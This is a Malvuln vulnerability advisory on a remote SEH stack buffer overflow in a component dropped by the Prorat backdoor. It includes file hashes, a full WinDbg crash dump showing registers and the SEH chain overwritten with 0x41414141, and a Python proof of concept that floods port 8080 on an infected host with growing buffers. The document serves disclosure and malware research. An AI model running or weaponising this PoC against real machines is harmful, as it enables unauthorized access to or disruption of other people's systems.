Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/277f9a4db328476300c4da5f680902ea.txt Contact: [email protected] Media: x.com/malvuln Threat: Backdoor.Win32.Prorat.jz Vulnerability: Remote Stack Buffer Overflow (SEH) Description: The RAT listens on TCP ports 51100,5112,5110 and runs an FTP service. Prorat uses a vulnerable component in a secondary malware it drops on the victim system named "Netbot_Attacker VIP 6.0 Version korea.exe" MD5: 2168a606464c7fd016c260140a62815e. The dropped malware listens on TCP port 8080 and 80 on subsequent restarts. Third-party attackers who can reach an infected machine can send specially crafted sequential packetz to port 8080. This will trigger a stack buffer overflow overwriting the ECX, EIP registers and Structured Exception Handler (SEH). Family: Prorat Type: PE32 MD5: 277f9a4db328476300c4da5f680902ea SHA256: 1134dffe52ea01f0d93a6889edd36620dbe9ee04224ad662e4f5463c4feb98a7 Vuln ID: MVID-2024-0699 Dropped files: ~imsinst.exe, NetBot.ini in \AppData\Local\Temp directory. ASLR: False DEP: False CFG: False Safe SEH: False Disclosure: 09/27/2024 Memory Dump: (1974.354): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=00000000 esi=00000000 edi=00000002 eip=76fced3c esp=0703f8d0 ebp=0703f910 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 ntdll!ZwWaitForMultipleObjects+0xc: 76fced3c c21400 ret 14h 0:008> .ecxr eax=00000000 ebx=04367000 ecx=41414141 edx=00000000 esi=04367000 edi=00406120 eip=41414141 esp=0703ff80 ebp=0703ff94 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 41414141 ?? ??? 0:008> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Netbot_Attacker VIP 6.0 Version korea.exe *** ERROR: Module load completed but symbols could not be loaded for Netbot_Attacker VIP 6.0 Version korea.exe FAULTING_IP: +2f 41414141 ?? ??? EXCEPTION_RECORD: 0703fad0 -- (.exr 0x703fad0) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: Netbot_Attacker VIP 6.0 Version korea.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAILED_INSTRUCTION_ADDRESS: +2f 41414141 ?? ??? CONTEXT: 0703fb20 -- (.cxr 0x703fb20) eax=00000000 ebx=04367000 ecx=41414141 edx=00000000 esi=04367000 edi=00406120 eip=41414141 esp=0703ff80 ebp=0703ff94 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 41414141 ?? ??? Resetting default scope READ_ADDRESS: 41414141 FOLLOWUP_IP: +2f 41414141 ?? ??? ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 unknown!netbot_attacker_vip_6.0_version_korea.exe+0x0 STACK_COMMAND: .cxr 000000000703FB20 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: unknown!netbot_attacker_vip_6.0_version_korea.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: unknown IMAGE_NAME: unknown DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_c0000409_unknown!Unloaded BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_MISSING_GSFRAME_BAD_IP_unknown!netbot_attacker_vip_6.0_version_korea.exe Followup: MachineOwner --------- 0:008> !exchain 0703f988: ntdll!_except_handler4+0 (76fd6a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (770157ad) Invalid exception stack at 41414141 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=8080 #80 after initial restart def Prorat_BOF(): print("[+] Backdoor.Win32.Prorat.jz") print("[+] Remote Stack Buffer Overflow - SEH") print("[+] MD5: 277f9a4db328476300c4da5f680902ea") for i in range(1, 13): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*100 * i s.send(PAYLOAD.encode()) time.sleep(0.5) print(len(PAYLOAD)) s.close() if __name__=="__main__": Prorat_BOF() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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